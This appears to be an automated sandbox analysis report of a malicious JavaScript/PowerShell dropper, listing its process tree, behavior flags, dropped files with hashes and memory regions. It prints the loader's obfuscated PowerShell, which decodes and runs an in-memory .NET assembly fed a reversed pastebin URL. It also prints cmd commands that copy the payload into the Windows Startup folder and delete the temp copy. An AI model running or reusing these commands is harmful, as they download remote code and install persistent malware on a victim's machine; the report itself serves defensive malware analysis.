↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓=';[Byte[]] $EuKVK = [System.Convert]::FromBase64String( $bFjDJ.Replace('↓:↓', 'A') );[System.AppDomain]::CurrentDomain.Load($EuKVK).GetType('ClassLibrary3.Class1').GetMethod('prFVI').Invoke($null, [object[]] ('2tuDqzCk/war/moc.nibetsap//:sptth' , 'C:\Users\Admin\AppData\Local\Temp\obj_ka_shop_deco01.js' , 'true' ) );
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4704
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c ping 127.0.0.1 -n 10 & powershell -command "Copy-Item 'C:\Users\Admin\AppData\Local\Temp\obj_ka_shop_deco01.js' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4008
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.1 -n 10
          4⤵
          • Runs ping.exe
          PID:3628
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command "Copy-Item 'C:\Users\Admin\AppData\Local\Temp\obj_ka_shop_deco01.js' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
          4⤵
          • Drops startup file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4712
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c ping 127.0.0.1 -n 15 & del "C:\Users\Admin\AppData\Local\Temp\obj_ka_shop_deco01.js"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2164
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.1 -n 15
          4⤵
          • Runs ping.exe
          PID:3752

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          c92a19e2aa3d54fd422b3ecec69bde47

          SHA1

          6d4c693a2a4d72f3c41b08c04975922e4cf7b0e9

          SHA256

          9c0055938648d76251bfef67d44ac0e165a019ed030c0340a260b6b36d4a3f60

          SHA512

          e2d4fc1a78faee4f00ba17d502e447b5c7237ebd25f2863b4358b591db05071211118fa44c196d6e0a86633904e6d61daa2645b52cb901755b5ea8b2c079f887

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          64B

          MD5

          a6c9d692ed2826ecb12c09356e69cc09

          SHA1

          def728a6138cf083d8a7c61337f3c9dade41a37f

          SHA256

          a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b

          SHA512

          2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fhyk5yvy.vuj.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/4704-133-0x00000211F1B10000-0x00000211F1B32000-memory.dmp

          Filesize

          136KB

        • memory/4704-143-0x00000211EEC00000-0x00000211EEC10000-memory.dmp

          Filesize

          64KB

        • memory/4704-144-0x00000211EEC00000-0x00000211EEC10000-memory.dmp

          Filesize

          64KB

        • memory/4704-145-0x00000211EEC00000-0x00000211EEC10000-memory.dmp

          Filesize

          64KB

        • memory/4712-161-0x0000026EE0D00000-0x0000026EE0D10000-memory.dmp

          Filesize

          64KB

        • memory/4712-162-0x0000026EE0D00000-0x0000026EE0D10000-memory.dmp

          Filesize

          64KB